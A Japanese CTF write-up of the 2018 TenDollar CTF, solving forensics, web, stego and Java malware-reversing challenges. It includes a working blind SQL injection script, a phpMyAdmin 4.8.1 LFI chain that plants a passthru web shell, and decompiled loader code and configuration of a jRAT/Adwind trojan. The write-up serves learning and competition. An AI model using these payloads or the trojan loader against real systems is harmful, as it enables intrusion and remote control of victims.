2018/11/24 9:00〜2018/11/25 15:00の期間にTenDollar CTF(tendollar.kr)に参加していました。このCTFは個人戦&招待制という色の強いCTFです。なんでこうしてるんだろう。ともかく、st98プロにinvitation codeをもらってzer0ptsとして参加しました。
点数が解いた人数で変動するタイプのCTFで、結果は2500点で14位。もう一問解けたらTop10に入れそう、というところなので少し悔しさが残ります。Pwnに挑戦すらしていないのとか、Webわからんくて投げるのとかが悪そうで、一人でやるCTFはバランスよく解いて回るか、PwnかWebを全完する勢いで解き尽くすかできないとパフォーマンスがでない印象です。
なんにせよ以下writeupです。
[Misc 150] Ping! Ping! Ping!
18Solves あるので簡単な問題といえます。配点の減り方は 1000 - (18 - 1) * 50 だと思う。pcapファイルが渡されて、中身はICMP echoのrequest/replyがずらりと並んでいるだけでした。Wiresharkで雑にパケットの中身を眺めていると、requestの方のデータ部に"PK"などの文字が見えます。ひとまずこれを抽出することにしました。
こういう場合はtsharkを使うのが楽だと学習しているので、tsharkを使いました。必ず使い方を忘れるのですが、過去記事をたどれば良いことを憶えているのでそんなに大きなロスになりません。ブログをちゃんと備忘録として使えていて偉いと思う。
$ tshark -r ping_ping_ping.pcapng -Y 'ip.dst eq 10.211.55.6' -Tfields -e data.data > packet.data $ head -3 packet.data 50:4b:03:04:14:00:06:00:08:00:00:00:21:00:df:a4:d2:6c:5a:01:00:00:20:05:00:00:13:00:08:02:5b:43:6f:6e:74:65:6e:74:5f:54:79:70:65:73:5d:2e:78:6d:6c:20:a2:04:02:28:a0:00 02:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
これをバイナリに直します。こういうのpythonよりも楽なワンライナーがありそう。
lines = open("packet.data", "r").read().split("\n") data = [] for l in lines: if len(l) == 0: continue bs = l.split(":") for b in bs: data.append(chr(int(b, 16))) open("raw", "wb").write("".join(data))
変換後のファイルraw
をfile
コマンドにかけると、Microsoft Word 2007+
という結果が出たのでLibre Writerで開くとフラグが書いてありました。 TDCTF{Do_you_know_about_the_icmp_protocol?}
ボーナス問題っぽい。
[Web 450]Linked List 1
この問題がここまで解かれていないのにはちょっと首を傾げる、そのくらい簡単な問題です。LinkedListを操作できるPHPページの問題で、最初に名前を登録してsessionを開始します。ソースコードが配られているのですが、該当部分はこんな感じ。こんなに@
を使ってるPHPのコードを見たのははじめてです。set_ini(display_errors, 0);
で十分だと思うのですが、なんでだろう。あと配られたソースコードのtemplates
が空っぽだったのはなんなんでしょうね。
if (@$_POST['name']) { @$_SESSION['link'] = @array('name' => @htmlspecialchars(@$_POST['name']), 'time' => @time()); @die("<script type='text/javascript'>location.href='.';</script>"); }
このサービスはフラグを2つ持っていて、もう一つはLinked List 2なわけですが、1のフラグを吐く箇所はこんな感じです。
if (@$_SESSION['link']['admin_only_list']) { unset($_SESSION['link']); die("<script type='text/javascript'>alert('GJ!!! The first flag is ".@addslashes(@$flag1)."');location.href='.';</script>"); ... }
Listへのinsert時にこういう↓コードがあるので、ユーザ名をadmin_only
にして開始するだけでフラグが得られます。
if (@$_GET['p'] == 'insert_first' && isset($_GET['value'])) { ... @$arr[0] = @htmlspecialchars(@$_GET['value']); @$_SESSION['link'][@$_SESSION['link']['name']."_list"] = @json_encode(@$arr); @die("<script type='text/javascript'>location.href='.';</script>"); }
TDCTF{easy_7o_solve123}
[Web 250]I'm Blind Not Deaf
逆にこちらは解かれすぎの印象。前半のSolved数は少なかったんですが、寝て起きたら急にSolved数が増えていた。私も寝るまで粘って何故か解けずをしていたのが起きたら解けたという一人ですが。
2ステージある問題で、最初はBlind SQL Injection。こういうソースコードが渡されます。GETパラメタとしてpwを渡すとSQL Injectionができるので、rootのパスワードを抜けという感じ。2行目のpreg_matchが寝ているので(最初の/
がない)、and
or
substr
=
にだけ気をつければ良さそう(substrのチェックって substr (
みたいなので回避できるんですかね)。rootが最初の要素として得られるクエリを作れればページにHello root
と表示してくれるので、これがあるかで判定するBlind SQL Injectionになります。
<?php include './config.php'; if(preg_match('tdf|/_|\.|\(\)/i', $_GET[pw])) exit("No Hack Please~! -0-"); if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("Manner Please~! :) :)"); $query = "select id from tdf where id='root' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = mysqli_query($conn,$query); $row = mysqli_fetch_array($result); if($row['id'] == 'root'){ #echo "<h2>Nice Meet You! {$row['id']}</h2>"; echo "<h2>Hello {$row[id]}</h2>"; } $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from tdf where id='root' and pw='{$_GET[pw]}'"; $result = mysqli_query($conn,$query); $row = mysqli_fetch_array($result); if(($row['pw']) && ($row['pw'] == $_GET['pw'])){ echo $nice_tendollar; } highlight_file(__FILE__); ?>
私が作ったクエリはこんな感じ' UNION SELECT 'root' from tdf where (select 'b' from tdf where pw like '{}%') > 'a
で、like句を使ってパスワードを1文字ずつ当てに行きます。スクリプトも書きましたが、Blind SQL Injectionをやる機会は多いのでそろそろテンプレート化したい。
import requests import string BASE = "http://blind.tendollar.kr:8100/" pw="' UNION SELECT 'root' from tdf where (select 'b' from tdf where pw like '{}%') > 'a" table = string.ascii_letters + '0987654321{}_-' a = "" while True: f = False for c in table: payload = pw.format(a + c) r = requests.get(BASE, params={'pw': payload}) if "Hello root" in r.text: f = True a += c print(a) break if not f: print(a) break
得られたpwの値は70801f6a
で、こんなに数字が多いと知っていればtableの配置を工夫できたのになという感じです。これを入力すると、echo $nice_tendollar;
が実行されます。中身にflag.txt
とあるのであとでめちゃめちゃflag.txt
を探し回るんですが、困り果てた挙げ句運営にDMしたら、別にflag.txt
にフラグがあるわけではないとのこと。あとで注意書きも加えられてしまったしちょっとださかった。
Congraturation!!!! Next Question: LFI(Local File Inclusion) in phpMyAdmin 4.8.0~4.8.1... URL:phpmyadmin/index.php......... flag.txt root's password:@1@2@3@4qwerasdf
とにかく、PHPMyAdminが立っているらしいのでログインします。問題の指示に従って"phpmyadmin 4.8.1 lfi"などで検索すると、簡単に情報が見つかります。たとえばこれですね。
これの手順に沿ってなんどもやってうまく行かなかったんですが、諦めて翌朝やってみたら通りました。手順としては、
- PHPMyAdminのSQLクエリを実行できるところで
select '<?php phpinfo(); exit();?>'
する。phpinfoは脆弱性が動くかどうか確認するためにやるだけで、このあとはselect '<?php passthru($_GET["q"]); exit();?>'
とします。 - cookieから、Keyが
phpMyAdmin
となっているものの値をコピーする。 http://blind.tendollar.kr:8100/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../tmp/sess_<cookieの値>&q=ls /
にアクセスするとsessionファイルがincludeされてPHPが実行される。
という感じです。これをやると、FLLLLLL4444444GGGGGG
というファイルが見つかるのでcat
します。謎に嵌って時間を取られた。確かに /tmp/sess_*
も試していたはずなんですが……
TDCTF{F_cong_L_gra_A_tu_G_ration}
[Misc 700]Remember
高配点のMiscになりました。Hintが出るまで手も足も出なかった。謎の画像が配られます。なんかお兄さんたちが楽しそうに写真に写っています。楽しそう。このファイル(challenge.png)、stegsolveなんかにかけても何も得られないんですが、pngcheck
をかけるとadditional data after IEND chunk
と言われます。しかしbinwalk
ではそのようなものが見つからず、かなり試行錯誤した末の投げやりなforemost
が当たりました。
foremost
によって抽出されたファイルを見てみると、challenge.png
と同じ画像ともうひとつ、またお兄さんたちが楽しそうにしている別の写真がでてきます。つながってたのかな。こちらはstegsolveにかけてみると、Alpha Bitsが明らかに怪しい感じです。左端の方だけごみごみとしていました。
この頃にはすでにHintとして昨年のwriteupが紹介されていたので、このスクリプトをそのまま使いました。するとalpha bitsからzipが復元されました。
このあと復元したzipのパスワードがわからずJohn the Ripperなどを使って盛大に悩むんですが、ちゃんとwriteupを読めという話で、昨年の問題ではパスワード付きzipのパスワードbitを寝かせてやるとそれだけでunzipできるよ! と書いてありました。時々ありますがこれはあんまり好きじゃない。この寝かせるのをやりやすいツールがあると良いんですが知らないので、pythonを使ってzipファイルのバイナリを編集しました。小さいファイルなので雑にやってもうまく行きます。
a = open("dec_challenge.zip", "rb").read() x = a.find("PK\x03\x04") y = a.find("PK\x01\x02") b = list(a) b[x+4+2] = "\x00" b[y+4+2+2] = "\x00" open("tako.zip", "wb").write("".join(b))
これでzipファイルの中にあったnice_try.txt
が抽出できました。中身はBrainF*ckなのでインタプリタにかけました。
-[--->+<]>-.[----->+<]>.-.>-[--->+<]>-.[----->+<]>++.>--[-->+++++<]>.-[->+++<]>.-----.------.++.------.++.+++++++++++++.----------.-----.++++++.----.--[--->+<]>--.++++++.[->+++++<]>++.[--->+<]>-.-----.+[----->++<]>-.+++++++++.+.-----.+.------.++++++++++++++.--------.[--->+<]>----..++[->+++<]>++.++++++.--.>--[-->+++<]>.
TDCTF{nice_and_easy_to_hide_message}
[Rev 950] InterMutation
私を入れて2人しか解いていないので950点と高配点の問題です。FirstBloodを頂いて、終了1時間前くらいまではずっと私が点数を独占していた問題なので、欲を言うと最後まで解かれてほしくなかった。いろいろやったので手順前後などがあるかもしれませんが、記憶を頼りにwriteupしていきます。
ENCRYPT_KEYがFlagだという文言とともにmalware.zip
という物騒なファイルが渡され、unzipするとmalware.jar
という物騒なファイルが出てきます。jar -xf malware.jar
として展開します。com/intermutation/inweaved
とcom/intermutation/thoracaorta
というディレクトリにないにhogehoge.xxx
のようなファイルがばらまかれますが、jarファイルのお決まりに反して、殆どはclassファイルではありません。
唯一のclassファイルであったAlmighty.class
をデコンパイルします。最近はcfr
というデコンパイラを使っています。Almightly.classをデコンパイルすると、次のような感じで、Javaによって作られたJavaScriptエンジンを呼び出しているようです。
/* * Decompiled with CFR 0.135. */ package com.intermutation.thoracaorta; import javax.script.ScriptEngine; import javax.script.ScriptEngineManager; public class Almighty { public static ScriptEngine madrones; public static void main(String[] arrstring) throws Throwable { madrones = new ScriptEngineManager().getEngineByName("javascript"); madrones.eval("IIIIIIIIIIIIIIIIIiIIIiIiiIiiIIII = java.lang.Byte[('TYPE')]; IIIIIIIIIIIIIIIIIIIiiiIIiiiIIIII=('q'+'ua.e'+'nter'+'prise.re'+'aqto'+'r'+'.'+'r'+'eaqtion'+'s.stan'+'dart'+'bootst'+'rap.Hea'+'der'); Iiiiii
がんばってJS部分をbeautifyすると、次のようになりました。
stdbootstrap = 'qua.enterprise.reaqtor.reaqtions.standardbootstrap.Header'; almightly = java.lang.Class['forName']('com.intermutation.thoracaorta.Almighty'); classLoader = almightly.getClassLoader(); f = function() { byteArray = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, [5301, 5312, 5301, 5301]); resource = almightly.getResource('/com/intermutation/thoracaorta/Femurs.toy'); stream = resource.openStream(); inputStream = new java.io.DataInputStream(stream); inputStream.readFully(byteArray); aesCipher = javax.crypto.Cipher.getInstance('AES'); secretKey = 'nPFTbER4KORr6vbf'.getBytes('UTF-8'); key = new javax.crypto.spec.SecretKeySpec(secretKey, ('AES')); aesCipher.init(javax.crypto.Cipher.DECRYPT_MODE, key); decrypted = aesCipher.doFinal(byteArray); classLoader = java.lang.ClassLoader.class; stringClass = java.lang.String.class; decryptedClass = decrypted.getClass(); integerType = java.lang.Integer.TYPE; defineClass = classLoader.getDeclaredMethod('defineClass', stringClass, decryptedClass, integerType, integerType); defineClass.setAccessible(true); qua = defineClass.invoke(classLoader, 'qua.enterprise.reaqtor.reaqtions.standartbootstrap.Header', decrypted, 0, decrypted.length); hoge = qua; }; f(); hoge.newInstance();
雑な理解によれば、/com/intermutation/thoracaorta/Femurs.toy
というファイルを読み込んできて復号しています。AESの鍵も埋まっていて、まさかそんなと思いながらTDCTF{nPFTbER4KORr6vbf}
をSubmitしましたが当然はずれでした。復号してきたファイルがとあるクラスのByte列らしく、defineClass
でクラス(かオブジェクト、よくわからない)に無理やりキャストして、そのあとnewInstance
を呼んでいるようです。
この処理にしたがってFemrus.toy
をデコンパイルします。こういうJavaを書きました。
import java.security.AlgorithmParameters; import java.security.Key; import java.security.SecureRandom; import java.lang.reflect.Method; import java.lang.reflect.Field; import java.security.ProtectionDomain; import javax.crypto.Cipher; import javax.crypto.KeyGenerator; import javax.crypto.spec.SecretKeySpec; import java.io.RandomAccessFile; class Hoge { public static void main(String[] args) throws Exception { byte[] secretKey = "nPFTbER4KORr6vbf".getBytes("UTF-8"); RandomAccessFile f = new RandomAccessFile("com/intermutation/thoracaorta/Femurs.toy", "r"); byte[] b = new byte[(int)f.length()]; f.readFully(b); SecretKeySpec key = new javax.crypto.spec.SecretKeySpec(secretKey, "AES"); Cipher cipher = Cipher.getInstance("AES"); cipher.init(Cipher.DECRYPT_MODE, key); byte[] bytes = cipher.doFinal(b); System.out.println(bytes.toString()); ClassLoader loader = new ClassLoader() {}; Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ProtectionDomain.class); defineClass.setAccessible(true); Class<?> c = (Class<?>) defineClass.invoke(loader, "qua.enterprise.reaqtor.reaqtions.standartbootstrap.Header", bytes, 0, bytes.length, null); // System.out.println(c.getName()); // System.out.println(c.getClassLoader()); // System.out.println("----"); // Field[] allFields = c.getClass().getDeclaredFields(); // for (Field field : allFields) { // System.out.println(field.getType().getTypeName()+":"+field.getName()); // } // System.out.println("----"); // Method[] allMethods = c.getClass().getDeclaredMethods(); // for (Method method : allMethods) { // System.out.println(method.getName()); // } } }
コメントアウト部分は頑張ってクラスを解析しようとしていた形跡です。結局うまく行かないしinvoke
も失敗したので、復号後のバイト列をHeader.class
みたいなファイルにリダイレクトしてcfr
でデコンパイルしました。多分いろいろ手を加えたやつですが、Header.java
はこんな感じです。
/* * Decompiled with CFR 0.135. * * Could not load the following classes: * qua.enterprise.reaqtor.reaqtions.standartbootstrap.Header */ import java.io.ByteArrayInputStream; import java.io.DataInputStream; import java.io.IOException; import java.io.FileOutputStream; import java.io.InputStream; import java.io.ObjectInputStream; import java.lang.reflect.Method; import java.security.InvalidKeyException; import java.security.Key; import java.security.NoSuchAlgorithmException; import java.security.ProtectionDomain; import java.util.Map; import java.util.zip.GZIPInputStream; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; /* * Exception performing whole class analysis ignored. */ public class Header extends ClassLoader { private static String obfuscationAppendix = "73x30fawybwxf1zp6cwa4oSJzrLPtfhypaNvW8zxtFltfr5S6dUcfur1ns7FB7OxacWawrjXZ70ZyFIYPPaxHKGtGrB7GHSFhEB9vWiVReTmTLjuZuG9vOQTZUatLOUH4lViamFxTvEBMcjvI68zeH5p3G3rYVA14PVnaU3gF4mId0RIbbip5U9J7oWVVQ44GZIBCDWo0FAoYYAC6vLeRuxon2Vr2iQ47XyAAMZ5kdRmWrmFeuwuIE9ihQ0hIcoakhrl3dkgmq0T4to76qRnD0cYCyqO41D2y1YlprCdVxxYV1ezJFTaAjI3xMnIsyc2QYkQIoRqNv8d8AWvwcenS29Kao1EkfmtXbVehX0VT0qscqTUZmtgUre22X4xRH5G4WrZ5djt2t1quIt5Q1NcZNuaNsAMaXUOX5pHo"; private static String firstClassName = "com.intermutation.thoracaorta.Almighty"; private static Class firstClass; private static ProtectionDomain firstClassProtectionDomain; public static String CAT_bootstrap; public static String CAT_obfuscated; public static final String[] predefinedClassNamesToBeLoaded; private static Map<String, Object[]> obfuscatedEntryList; public Header() throws Exception { super(Header.class.getClassLoader()); obfuscatedEntryList = (Map)Header.decryptObject((String)"#", (Object[])new Object[]{new String[]{".encrypted", ".splitted", ".compressed", ".not-fixed"}, new String[]{"com/intermutation/inweaved/Piny.bbl", "com/intermutation/thoracaorta/Bastard.fiz", "com/intermutation/inweaved/Crankless.civ", "com/intermutation/thoracaorta/Sapphists.cuj", "com/intermutation/thoracaorta/Precancelled.rom"}, new int[]{13521, 3120, 3106, 13521}, "qcNVmpvc37PZYmB2"}); String[] arrstring = new String[]{"qua.enterprise.reaqtor.reaqtions.standartbootstrap.Loader", "qua.enterprise.reaqtor.reaqtions.standartbootstrap.Loader$1$1", "qua.enterprise.reaqtor.reaqtions.standartbootstrap.Loader$1"}; String string = "qua.enterprise.reaqtor.reaqtions.standartbootstrap"; String string2 = string + '.' + predefinedClassNamesToBeLoaded[0]; Class class_ = null; Class[] arrclass = new Class[arrstring.length]; int n = 0; for (String object : arrstring) { byte[] arrby = Header.decrypt((String)object, (Object[])Header.getEntryData((String)CAT_bootstrap, (String)object)); int n2 = n++; // System.out.println(object); // try (FileOutputStream fos = new FileOutputStream("" + n2 + ".class")) { // fos.write(arrby); // } Class class_2 = this.defineClass(object, arrby, 0, arrby.length, firstClassProtectionDomain); arrclass[n2] = class_2; Class class_3 = class_2; if (!string2.equals(object)) continue; System.out.println(n2); class_ = class_3; } for (Class class_4 : arrclass) { this.resolveClass(class_4); } // ★ for (String k : obfuscatedEntryList.keySet()) { String pre = k.substring(0, 10); String post = k.substring(11, k.length()); if (!pre.equals("obfuscated")) { continue; } byte[] arr = Header.decrypt(post, (Object[])Header.getEntryData(pre, post)); try (FileOutputStream fos = new FileOutputStream(post)) { fos.write(arr); } } // System.out.println((Object[])Header.getEntryData("obfuscated", "operational/Jrat.class")); // byte[] arrby = Header.decrypt((String)"operational/Jrat.class", (Object[])Header.getEntryData((String)"obfuscated", (String)"operational/Jrat.class")); // try (FileOutputStream fos = new FileOutputStream("jRat.class")) { // fos.write(arrby); // } // // ClassLoader classLoader = (ClassLoader)class_.newInstance(); // Class<?> class_4 = classLoader.loadClass("operational.Jrat"); // Method method = class_4.getMethod("main", String[].class); // method.invoke(null, new Object[]{new String[0]}); } public static Object[] getEntryData(String string, String string2) { String string3 = string + '/' + string2; Object[] arrobject = (Object[])obfuscatedEntryList.get(string3); return arrobject; } public static Object decryptObject(String string, Object[] arrobject) throws IOException, InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, IllegalBlockSizeException, BadPaddingException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(Header.decrypt((String)string, (Object[])arrobject))); return objectInputStream.readObject(); } public static byte[] decrypt(String string, Object[] arrobject) throws IOException, InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, IllegalBlockSizeException, BadPaddingException { byte[] arrby; byte[] arrby3; String[] arrstring = (String[])arrobject[1]; int[] arrn = (int[])arrobject[2]; String string2 = (String)arrobject[3]; int n = arrn[0]; int n2 = arrn[1]; byte[] arrby4 = string2.getBytes(); byte[] arrby5 = new byte[1024]; byte[] arrby6 = new byte[n2]; int n3 = 0; for (String arrby22 : arrstring) { int gZIPInputStream; InputStream stream = Header.class.getClassLoader().getResourceAsStream(arrby22); while ((gZIPInputStream = stream.read(arrby5)) > -1) { System.arraycopy(arrby5, 0, arrby6, n3, gZIPInputStream); n3 += gZIPInputStream; } } Cipher cipher = Cipher.getInstance("AES"); SecretKeySpec secretKeySpec = new SecretKeySpec(arrby4, "AES"); cipher.init(2, secretKeySpec); byte[] arrby2 = arrby3 = cipher.doFinal(arrby6); arrby = new byte[n]; n3 = 0; GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(arrby2)); DataInputStream dataInputStream = new DataInputStream(gZIPInputStream); dataInputStream.readFully(arrby); return arrby; } static { if (firstClassName != null) { try { firstClass = Class.forName(firstClassName); } catch (Throwable throwable) { throw new RuntimeException(throwable); } firstClassProtectionDomain = firstClass.getProtectionDomain(); } CAT_bootstrap = "bootstrap"; CAT_obfuscated = "obfuscated"; predefinedClassNamesToBeLoaded = new String[]{"Loader"}; } }
おそらくどこかからnew Header()
と呼ばれることを想定したクラスで、static初期化子(?)と、特にコンストラクタが意味有りげです。コンストラクタではdecryptObject
やdecrypt
というメソッドが呼ばれています。こちらを見ていくと、どうやら処理はAlmight.java
での復号と似たもののようです(記憶が蘇ってきたんですが、リソースファイルを読み込むところがコンパイルできなかったので自分で書き直したっぽい)。
そのあといろいろ悩むんですが省略して、コンストラクタ最初で復号されるobfuscatedEntryList
が名前の通り暗号化されたファイルのリストになっているので、★のあたりの処理を加えて一気に復号することにしました(Headerのインスタンスを作るだけのjavaを書いて実行しています)。
これで大量にファイルが復号されるのですが、このサイトを見てAdWindDecryptor.jar
をGitHubから手に入れ、復号されたEyh/OlQ/ka.qZZ
l/BIS/b.Zbx
tI/P/tma.a
からconfig-decrypted.json
を生成します。●
$ java -jar ../AdWindDecryptor.jar -r tma.a -a b.Zbx -i ka.qZZ -o config-decrypted.json
config-decrypted.json
はその実jarファイルなので、やはりjar -xf
として展開し、server/resources
内のファイルらについて、もう一度AdWindDecryptor.jarをやります。
$ java -jar ../../../AdWindDecryptor.jar -r Key1.json -a Key2.json -i config.json -o config-decrypted.json
すると今度は本当にjsonが出てきます。結構大きなファイルなので整形した物の先頭付近だけ掲載しておきます。
{ "NETWORK": [ { "PORT": 2888, "DNS": "findthekeymatchdomain.com" } ], "INSTALL": true, "MODULE_PATH": "r/B/GD.bIu", "PLUGIN_FOLDER": "ucRjANkyiSG", "JRE_FOLDER": "UAfqbC", "JAR_FOLDER": "NSEzIfVRipw", "JAR_EXTENSION": "dGYsUs", "ENCRYPT_KEY": "aEkoTmxohieYivqcjBwIAkYXn", "DELAY_INSTALL": 2, "NICKNAME": "GOD MODE", "VMWARE": false, "PLUGIN_EXTENSION": "vzkgY", "WEBSITE_PROJECT": "https://jrat.io",
というわけでFLAGはTDCTF{aEkoTmxohieYivqcjBwIAkYXn}
です。
……のように格好良くESPerが発動すればよかったんですが、実際は●地点でoperational
というディレクトリを見に行って泥沼でした。こちらにはjRat.class
のようないかにも怪しいファイルがあって、頑張って難読化を掻い潜っていくと忘れたして、偽物のconfig-decrypted.json
にたどり着きます。こちらはファイルサイズは小さいのですが中身はこんな感じで、しれっとENCRYPT_KEY
が鎮座しているので飛びついてしまいました。
{ "NETWORK": [ { "PORT": 7777, "DNS": "127.0.0.1" } ], "INSTALL": false, "MODULE_PATH": "zS/lq/BTk.GI", "PLUGIN_FOLDER": "DdWDtpinxpf", "JRE_FOLDER": "HSIROD", "JAR_FOLDER": "fUTkALeaTxM", "JAR_EXTENSION": "Vybgol", "ENCRYPT_KEY": "cPFjgddXIBcXBCIseEuXTZjwi", "DELAY_INSTALL": 2, "NICKNAME": "User", "VMWARE": false, "PLUGIN_EXTENSION": "DhjWU", "WEBSITE_PROJECT": "https://jrat.io", "JAR_NAME": "uiylKSALYJr",
あまりにこれが「それ」すぎるので運営に質問しましたがこれは違うとのことでした。なんやねんこれ。まあ解けたので良しです。解けなかったらクソ問って言ってるところでした。
その他感想など
思い立った順に適当に並べてます
- 問題数や難易度、開催時間がいい感じですごく楽しめた。InterMutationも解けたので満足度が高いです :)
- st98プロがプロすぎてプロ
- Modem一切わからなかったのがとってもつらい
- Ninja, XSSあたりはSolvedも多いし普通に解けそうにみえるんですがわからなかった。XSSはXSSしたあとなにすればいいのか詰まっちゃって、Ninjaは一切ないもわからんかった
- Kou解きたかった。結局LFIっぽいのができただけで終了です。
include_once("../board/" + $_GET["f"]);
みたいな感じなのかな。どうやってindex.php
読むんだろう。 - Cat Proxyもこういう「なにかできそう」ってさしだされている問題は解きたいんだけど解けなかった。わかりません。
- Linked List 2をちゃんと読んで解かなかったのは怠慢感がある
- On My Wayは解析はサクサクできて、適当にLEVELを9まであげてx,yをそれぞれ0-100まで2から4ずつ変化させて
G
を探していたんですが見つかりませんでした……。何をすればいいのか。 - へんなところで嵌って解けない問題が多くてつらい。
- Pwnやれ
- InterMutationでニセENCRYPT_KEYに嵌ってDMしたときに丁寧に対応してくれたのが印象良すぎてそのあと「Thank you!!!!! I've solved!!!!!!!!!!!!!!!! 💪」とかおくったのはやりすぎ感がある。あのときはちょっとテンション上がってました。